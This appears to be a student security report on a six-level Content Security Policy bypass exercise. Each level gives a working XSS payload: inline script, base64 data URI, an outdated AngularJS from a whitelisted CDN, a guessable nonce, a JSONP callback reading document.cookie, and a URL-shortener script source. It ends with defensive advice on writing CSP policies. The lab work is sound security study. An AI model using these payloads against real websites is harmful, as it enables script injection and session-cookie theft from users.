Exercise – CSP Bypass

1. Introduction

Understanding the CSP by hacking a CSP. This is the purpose of this challenge.

Goal is to perform an XSS and bypass the given CSP
Please write a short security report.

Describe your thought from level 1 to level 6.
Hint: Work with https://csp-evaluator.withgoogle.com/

2. Answer and Solution

Level 1 – unsafe inline

Allows inline resources, such as inline <script> elements

Payload:

"/><script>alert(1);</script>

Level 2 – data

This source allows loading resources via the data scheme (eg Base64 encoded images)

Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Level 3 – whitelist

In such scenarios where script-src is set to self and a javascript library domain which is whitelisted. It can be bypassed using any vulnerable version of javascript file from that library , which allows the
attacker to perform xss

Payload:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.8/angular.js">
</script> <input type=text ng-app id=p ng-focus=$event.view.alert(1)>

Level 4 – nonce

nonce: A whitelist for specific inline scripts using a cryptographic nonce (number used once).
The server must generate a unique nonce value each time it transmits a policy

nonce is not random! It’s a timestamp

Payload:

<script nonce="MTIuMDIuMjAyMS8xOTozMg==">alert(document.cookie)</script>

Level 5 – Bad JSONP

In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp.
jsonp endpoints allow insecure callback methods which allow an attacker to
perform xss.

payload:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.cookie);"></script>

Level 6

Note: JSONP Callback from last exercise will be blocked. https://cutt.ly is an URL shortener and script tags from there seems to be allowed.
Let’s see what happens when using last payload as URL shortener:

Payload:

<script src="https://cutt.ly/VedoLP4"></script>

3. Summary

Writing a secure CSP policy can be very time-consuming, depending on the application.

If you use JS frameworks, you should make sure that they have support for CSP. Otherwise, you can often only create a secure CSP policy using hashes, with all the disadvantages that hashes bring with them.

Especially for strict-dynamic/nonces you need support in the framework. See slides on "strict-dynamic" what is allowed and what is not (keyword: parser-inserted vs. non-parser-inserted script).

Not only JavaScript injection is dangerous but also style sheet injection. Therefore both are forbidden by CSP by default

PDF Report
CSP#2